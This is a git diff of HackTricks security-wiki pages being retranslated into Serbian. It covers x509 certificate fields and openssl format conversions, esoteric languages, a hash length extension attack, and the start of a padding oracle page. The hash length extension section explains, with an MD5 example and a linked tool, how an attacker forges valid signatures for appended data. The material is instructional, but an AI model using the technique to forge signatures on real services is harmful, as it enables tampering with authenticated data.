-* **Uobičajeno Ime (CN)**: Domeni obuhvaćeni sertifikatom.
-* **Država (C)**, **Lokalitet (L)**, **Država ili Pokrajina (ST, S, ili P)**, **Organizacija (O)** i **Organizaciona Jedinica (OU)** pružaju geografske i organizacione detalje.
-* **Distingovano Ime (DN)** obuhvata punu identifikaciju subjekta.
-* **Izdavaoc** detalji ko je verifikovao i potpisao sertifikat, uključujući slična podpolja kao Subjekat za CA.
-* **Period Važenja** obeležen je vremenima **Nije Pre** i **Nije Posle**, osiguravajući da sertifikat nije korišćen pre ili posle određenog datuma.
-* Odeljak **Javni Ključ**, ključan za sigurnost sertifikata, specificira algoritam, veličinu i druge tehničke detalje javnog ključa.
-* **x509v3 ekstenzije** poboljšavaju funkcionalnost sertifikata, specificirajući **Upotrebu Ključa**, **Proširenu Upotrebu Ključa**, **Alternativno Ime Subjekta** i druge osobine za fino podešavanje primene sertifikata.
+* **Broj verzije** označava verziju x509 formata.
+* **Serijski broj** jedinstveno identifikuje sertifikat unutar sistema Sertifikacionog tela (CA), uglavnom za praćenje opoziva.
+* Polje **Subjekt** predstavlja vlasnika sertifikata, što može biti mašina, pojedinac ili organizacija. Uključuje detaljnu identifikaciju kao što su:
+* **Uobičajeno ime (CN)**: Domeni pokriveni sertifikatom.
+* **Zemlja (C)**, **Lokacija (L)**, **Država ili pokrajina (ST, S, ili P)**, **Organizacija (O)**, i **Organizaciona jedinica (OU)** pružaju geografske i organizacione detalje.
+* **Istaknuto ime (DN)** obuhvata punu identifikaciju subjekta.
+* **Izdavač** detaljno opisuje ko je verifikovao i potpisao sertifikat, uključujući slična podpolja kao Subjekt za CA.
+* **Period validnosti** označen je vremenskim oznakama **Ne pre** i **Ne posle**, osiguravajući da sertifikat ne bude korišćen pre ili posle određenog datuma.
+* Sekcija **Javni ključ**, koja je ključna za sigurnost sertifikata, specificira algoritam, veličinu i druge tehničke detalje javnog ključa.
+* **x509v3 ekstenzije** poboljšavaju funkcionalnost sertifikata, specificirajući **Korišćenje ključa**, **Prošireno korišćenje ključa**, **Alternativno ime subjekta**, i druge osobine za fino podešavanje primene sertifikata.
-#### **Upotreba Ključa i Ekstenzije**
+#### **Korišćenje ključa i ekstenzije**
-* **Upotreba Ključa** identifikuje kriptografske primene javnog ključa, poput digitalnog potpisa ili šifrovanja ključa.
-* **Proširena Upotreba Ključa** dodatno sužava slučajeve upotrebe sertifikata, npr. za autentikaciju TLS servera.
-* **Alternativno Ime Subjekta** i **Osnovno Ograničenje** definišu dodatna imena hostova obuhvaćena sertifikatom i da li je to CA ili sertifikat entiteta, redom.
-* Identifikatori poput **Identifikatora Ključa Subjekta** i **Identifikatora Ključa Autoriteta** osiguravaju jedinstvenost i mogućnost praćenja ključeva.
-* **Pristup Informacijama Autoriteta** i **Tačke Distribucije CRL-a** pružaju putanje za verifikaciju izdavaoca CA i proveru statusa opoziva sertifikata.
-* **CT Pre-sertifikat SCT-ovi** nude transparentne dnevnike, ključne za javno poverenje u sertifikat.
+* **Korišćenje ključa** identifikuje kriptografske primene javnog ključa, kao što su digitalni potpis ili enkripcija ključa.
+* **Prošireno korišćenje ključa** dodatno sužava slučajeve korišćenja sertifikata, npr. za TLS autentifikaciju servera.
+* **Alternativno ime subjekta** i **Osnovna ograničenja** definišu dodatne nazive hostova pokrivene sertifikatom i da li je to CA ili sertifikat krajnjeg entiteta, redom.
+* Identifikatori kao što su **Identifikator ključa subjekta** i **Identifikator ključa vlasti** osiguravaju jedinstvenost i praćenje ključeva.
+* **Pristup informacijama o vlasti** i **Tačke distribucije CRL** pružaju puteve za verifikaciju izdavača CA i proveru statusa opoziva sertifikata.
+* **CT Precertifikat SCTs** nude evidencije transparentnosti, što je ključno za javno poverenje u sertifikat.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@@ -74,61 +75,61 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
-### **Razlika između OCSP i tačaka distribucije CRL**
+### **Razlika između OCSP i CRL distribucionih tačaka**
-**OCSP** (**RFC 2560**) uključuje klijenta i odgovarača koji zajedno proveravaju da li je digitalni javni ključ sertifikata povučen, bez potrebe za preuzimanjem punog **CRL**-a. Ovaj metod je efikasniji od tradicionalnog **CRL**-a, koji pruža listu povučenih serijskih brojeva sertifikata, ali zahteva preuzimanje potencijalno velike datoteke. CRL-ovi mogu sadržati do 512 unosa. Više detalja dostupno je [ovde](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
+**OCSP** (**RFC 2560**) uključuje klijenta i odgovarača koji rade zajedno kako bi proverili da li je digitalni javni ključ sertifikat opozvan, bez potrebe za preuzimanjem celog **CRL**. Ova metoda je efikasnija od tradicionalnog **CRL**, koji pruža listu opozvanih serijskih brojeva sertifikata, ali zahteva preuzimanje potencijalno velikog fajla. CRL-ovi mogu sadržati do 512 unosa. Više detalja je dostupno [ovde](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
-### **Šta je Transparentnost sertifikata**
+### **Šta je transparentnost sertifikata**
-Transparentnost sertifikata pomaže u borbi protiv pretnji povezanih sa sertifikatima osiguravajući da izdavanje i postojanje SSL sertifikata budu vidljivi vlasnicima domena, CA-ima i korisnicima. Njeni ciljevi su:
+Transparentnost sertifikata pomaže u borbi protiv pretnji vezanih za sertifikate osiguravajući da je izdavanje i postojanje SSL sertifikata vidljivo vlasnicima domena, CA-ima i korisnicima. Njeni ciljevi su:
-* Sprječavanje CA da izdaju SSL sertifikate za domen bez znanja vlasnika domena.
+* Sprečavanje CA-a da izdaju SSL sertifikate za domen bez znanja vlasnika domena.
* Uspostavljanje otvorenog sistema revizije za praćenje greškom ili zlonamerno izdatih sertifikata.
-* Zaštita korisnika od lažnih sertifikata.
+* Zaštita korisnika od prevarantskih sertifikata.
-#### **Sertifikatni zapisi**
+#### **Sertifikati logovi**
-Sertifikatni zapisi su javno proverljivi, samo za dodavanje zapisi sertifikata, održavani od strane mrežnih servisa. Ovi zapisi pružaju kriptografske dokaze u svrhe revizije. Izdavači i javnost mogu podnositi sertifikate ovim zapisima ili ih upitati radi verifikacije. Iako tačan broj serverskih zapisa nije fiksan, očekuje se da ih globalno bude manje od hiljadu. Ovi serveri mogu biti nezavisno upravljani od strane CA, ISP-ova ili bilo koje zainteresovane strane.
+Sertifikati logovi su javno revizibilni, samo za dodavanje zapisi sertifikata, koje održavaju mrežne usluge. Ovi logovi pružaju kriptografske dokaze za revizijske svrhe. Izdavaoci i javnost mogu podnositi sertifikate ovim logovima ili ih pretraživati radi verifikacije. Dok tačan broj log servera nije fiksiran, očekuje se da će biti manje od hiljadu globalno. Ove servere mogu nezavisno upravljati CA, ISP ili bilo koja zainteresovana strana.
#### **Upit**
-Za istraživanje zapisa Transparentnosti sertifikata za bilo koji domen, posetite [https://crt.sh/](https://crt.sh).
+Da biste istražili logove transparentnosti sertifikata za bilo koji domen, posetite [https://crt.sh/](https://crt.sh).
-Različiti formati postoje za čuvanje sertifikata, svaki sa svojim slučajevima upotrebe i kompatibilnošću. Ovaj sažetak obuhvata glavne formate i pruža smernice o konvertovanju između njih.
+Postoje različiti formati za skladištenje sertifikata, svaki sa svojim slučajevima upotrebe i kompatibilnošću. Ovaj pregled pokriva glavne formate i pruža smernice za konvertovanje između njih.
## **Formati**
-### **PEM Format**
+### **PEM format**
-* Najčešće korišćen format za sertifikate.
-* Zahteva odvojene datoteke za sertifikate i privatne ključeve, kodirane u Base64 ASCII.
+* Najšire korišćen format za sertifikate.
+* Zahteva odvojene fajlove za sertifikate i privatne ključeve, kodirane u Base64 ASCII.
* Uobičajene ekstenzije: .cer, .crt, .pem, .key.
-* Prvenstveno korišćen od strane Apache i sličnih servera.
+* Primarno koriste Apache i slični serveri.
-### **DER Format**
+### **DER format**
* Binarni format sertifikata.
-* Nedostaje "BEGIN/END CERTIFICATE" izjave koje se nalaze u PEM datotekama.
+* Nedostaju "BEGIN/END CERTIFICATE" izjave koje se nalaze u PEM fajlovima.
* Uobičajene ekstenzije: .cer, .der.
-* Često korišćen sa Java platformama.
+* Često se koristi sa Java platformama.
-### **P7B/PKCS#7 Format**
+### **P7B/PKCS#7 format**
-* Čuvaju se u Base64 ASCII, sa ekstenzijama .p7b ili .p7c.
-* Sadrže samo sertifikate i lanac sertifikata, isključujući privatni ključ.
-* Podržano od strane Microsoft Windows i Java Tomcat.
+* Skladišti se u Base64 ASCII, sa ekstenzijama .p7b ili .p7c.
+* Sadrži samo sertifikate i lance sertifikata, isključujući privatni ključ.
+* Podržava Microsoft Windows i Java Tomcat.
-### **PFX/P12/PKCS#12 Format**
+### **PFX/P12/PKCS#12 format**
-* Binarni format koji uključuje serverske sertifikate, posredne sertifikate i privatne ključeve u jednoj datoteci.
+* Binarni format koji enkapsulira server sertifikate, međusertifikate i privatne ključeve u jednom fajlu.
* Ekstenzije: .pfx, .p12.
-* Glavno korišćen na Windows platformi za uvoz i izvoz sertifikata.
+* Uglavnom se koristi na Windows-u za uvoz i izvoz sertifikata.
### **Konvertovanje formata**
-**PEM konverzije** su esencijalne za kompatibilnost:
+**PEM konverzije** su neophodne za kompatibilnost:
-* **x509 u PEM**
+* **x509 to PEM**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
@@ -148,23 +149,23 @@ openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
-**PFX konverzije** su ključne za upravljanje sertifikatima na Windows operativnom sistemu:
+**PFX konverzije** su ključne za upravljanje sertifikatima na Windows-u:
* **PFX u PEM**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
-* **PFX u PKCS#8** uključuje dva koraka:
-1. Konvertuj PFX u PEM
+* **PFX to PKCS#8** uključuje dva koraka:
+1. Konvertujte PFX u PEM
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
-2. Konvertuj PEM u PKCS8
+2. Konvertujte PEM u PKCS8
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
-* **P7B u PFX** takođe zahteva dve komande:
-1. Konvertuj P7B u CER
+* **P7B to PFX** takođe zahteva dve komande:
+1. Konvertujte P7B u CER
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
@@ -177,21 +178,22 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
\
-Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
-Dobijte pristup danas:
+Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) za lako kreiranje i **automatizaciju radnih tokova** pokretanih **najnaprednijim** alatima zajednice na svetu.\
+Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
diff --git a/crypto-and-stego/esoteric-languages.md b/crypto-and-stego/esoteric-languages.md
index 9ebc672c0..eea19f2f6 100644
--- a/crypto-and-stego/esoteric-languages.md
+++ b/crypto-and-stego/esoteric-languages.md
@@ -1,20 +1,23 @@
-# Ezoterični jezici
+# Esoteric languages
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** me na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## [Esolangs Wiki](https://esolangs.org/wiki/Main\_Page)
-Proverite taj wiki da biste pronašli više ezoteričnih jezika
+Proverite tu viki stranicu da biste pronašli više esoteričnih jezika
## Malbolge
```
@@ -27,7 +30,7 @@ Proverite taj wiki da biste pronašli više ezoteričnih jezika
![](<../.gitbook/assets/image (691).png>)
-[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet/npiet-execute.php)
+[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php)
## Rockstar
```
@@ -61,8 +64,6 @@ Whisper my world
{% embed url="https://codewithrockstar.com/" %}
## PETOOH
-
-PETOOH (ПЕТООХ) je esoterični programski jezik inspirisan ruskim jezikom. Ovaj jezik koristi samo pet reči: "pet", "tak", "kuk", "puk" i "kur".
```
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
@@ -72,14 +73,17 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
Kukarek
```
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
diff --git a/crypto-and-stego/hash-length-extension-attack.md b/crypto-and-stego/hash-length-extension-attack.md
index c7ee01069..cbfbfcc6d 100644
--- a/crypto-and-stego/hash-length-extension-attack.md
+++ b/crypto-and-stego/hash-length-extension-attack.md
@@ -1,63 +1,64 @@
-# Napad produžetka dužine heša
+# Hash Length Extension Attack
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
-[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu**.
+[**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti **kompromitovani** od strane **stealer malwares**.
-Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
+Njihov primarni cilj WhiteIntel-a je da se bori protiv preuzimanja naloga i ransomware napada koji proizlaze iz malvera koji krade informacije.
-Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
+Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač **besplatno** na:
{% embed url="https://whiteintel.io" %}
***
-## Rezime napada
+## Summary of the attack
-Zamislite server koji **potpisuje** neke **podatke** tako što **dodaje** neki **tajni ključ** na neke poznate čiste tekstualne podatke, a zatim hešira te podatke. Ako znate:
+Zamislite server koji **potpisuje** neke **podatke** tako što **dodaje** **tajnu** nekim poznatim čistim tekstualnim podacima i zatim hešira te podatke. Ako znate:
-* **Dužinu tajnog ključa** (ovo takođe može biti probijeno iz datog opsega dužine)
+* **Dužinu tajne** (to se može takođe bruteforce-ovati iz datog opsega dužine)
* **Čiste tekstualne podatke**
-* **Algoritam (i ranjiv je na ovaj napad)**
+* **Algoritam (i on je ranjiv na ovaj napad)**
* **Padding je poznat**
-* Obično se koristi podrazumevani, pa ako su ispunjeni i ostali zahtevi, i ovaj je
-* Padding varira u zavisnosti od dužine tajnog ključa+podataka, zbog čega je potrebna dužina tajnog ključa
+* Obično se koristi podrazumevani, tako da ako su ispunjena ostala 3 zahteva, ovo takođe jeste
+* Padding varira u zavisnosti od dužine tajne + podataka, zato je potrebna dužina tajne
-Onda je moguće da **napadač** **doda** **podatke** i **generiše** validan **potpis** za **prethodne podatke + dodate podatke**.
+Tada je moguće da **napadač** **doda** **podatke** i **generiše** važeći **potpis** za **prethodne podatke + dodate podatke**.
-### Kako?
+### How?
-Osnovno, ranjivi algoritmi generišu hešove tako što prvo **heširaju blok podataka**, a zatim, **iz** prethodno kreiranog **heša** (stanja), dodaju **sledeći blok podataka** i **heširaju ga**.
+U suštini, ranjivi algoritmi generišu heševe tako što prvo **heširaju blok podataka**, a zatim, **iz** **prethodno** kreiranog **heša** (stanja), **dodaju sledeći blok podataka** i **heširaju ga**.
-Zamislite da je tajni ključ "tajna" i podaci su "podaci", MD5 od "tajnapodaci" je 6036708eba0d11f6ef52ad44e8b74d5b.\
-Ako napadač želi da doda string "dodatak" može:
+Zamislite da je tajna "secret" a podaci su "data", MD5 od "secretdata" je 6036708eba0d11f6ef52ad44e8b74d5b.\
+Ako napadač želi da doda string "append" može:
* Generisati MD5 od 64 "A"
-* Promeniti stanje prethodno inicijalizovanog heša u 6036708eba0d11f6ef52ad44e8b74d5b
-* Dodati string "dodatak"
-* Završiti heš i rezultujući heš će biti **validan za "tajna" + "podaci" + "padding" + "dodatak"**
+* Promeniti stanje prethodno inicijalizovanog heša na 6036708eba0d11f6ef52ad44e8b74d5b
+* Dodati string "append"
+* Završiti heš i rezultantni heš će biti **važeći za "secret" + "data" + "padding" + "append"**
-### **Alat**
+### **Tool**
{% embed url="https://github.com/iagox86/hash_extender" %}
-### Reference
+### References
Možete pronaći ovaj napad dobro objašnjen na [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
@@ -65,24 +66,25 @@ Možete pronaći ovaj napad dobro objašnjen na [https://blog.skullsecurity.org/
-[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu**.
+[**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti **kompromitovani** od strane **stealer malwares**.
-Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
+Njihov primarni cilj WhiteIntel-a je da se bori protiv preuzimanja naloga i ransomware napada koji proizlaze iz malvera koji krade informacije.
-Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
+Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač **besplatno** na:
{% embed url="https://whiteintel.io" %}
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/crypto-and-stego/padding-oracle-priv.md b/crypto-and-stego/padding-oracle-priv.md
index 059fd72a0..e18a8c5df 100644
--- a/crypto-and-stego/padding-oracle-priv.md
+++ b/crypto-and-stego/padding-oracle-priv.md
@@ -1,56 +1,57 @@
-# Oracle za popunjavanje
+# Padding Oracle
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## CBC - Cipher Block Chaining
-U CBC režimu se **prethodni šifrovani blok koristi kao IV** za XOR sa sledećim blokom:
+U CBC modu, **prethodni enkriptovani blok se koristi kao IV** za XOR sa sledećim blokom:
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
-Da bi se dešifrovao CBC, vrše se **suprotne operacije**:
+Da bi se dekriptovao CBC, vrše se **suprotne** **operacije**:
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
-Primetite kako je potrebno koristiti **ključ za šifrovanje** i **IV**.
+Primetite kako je potrebno koristiti **ključ za enkripciju** i **IV**.
-## Popunjavanje poruke
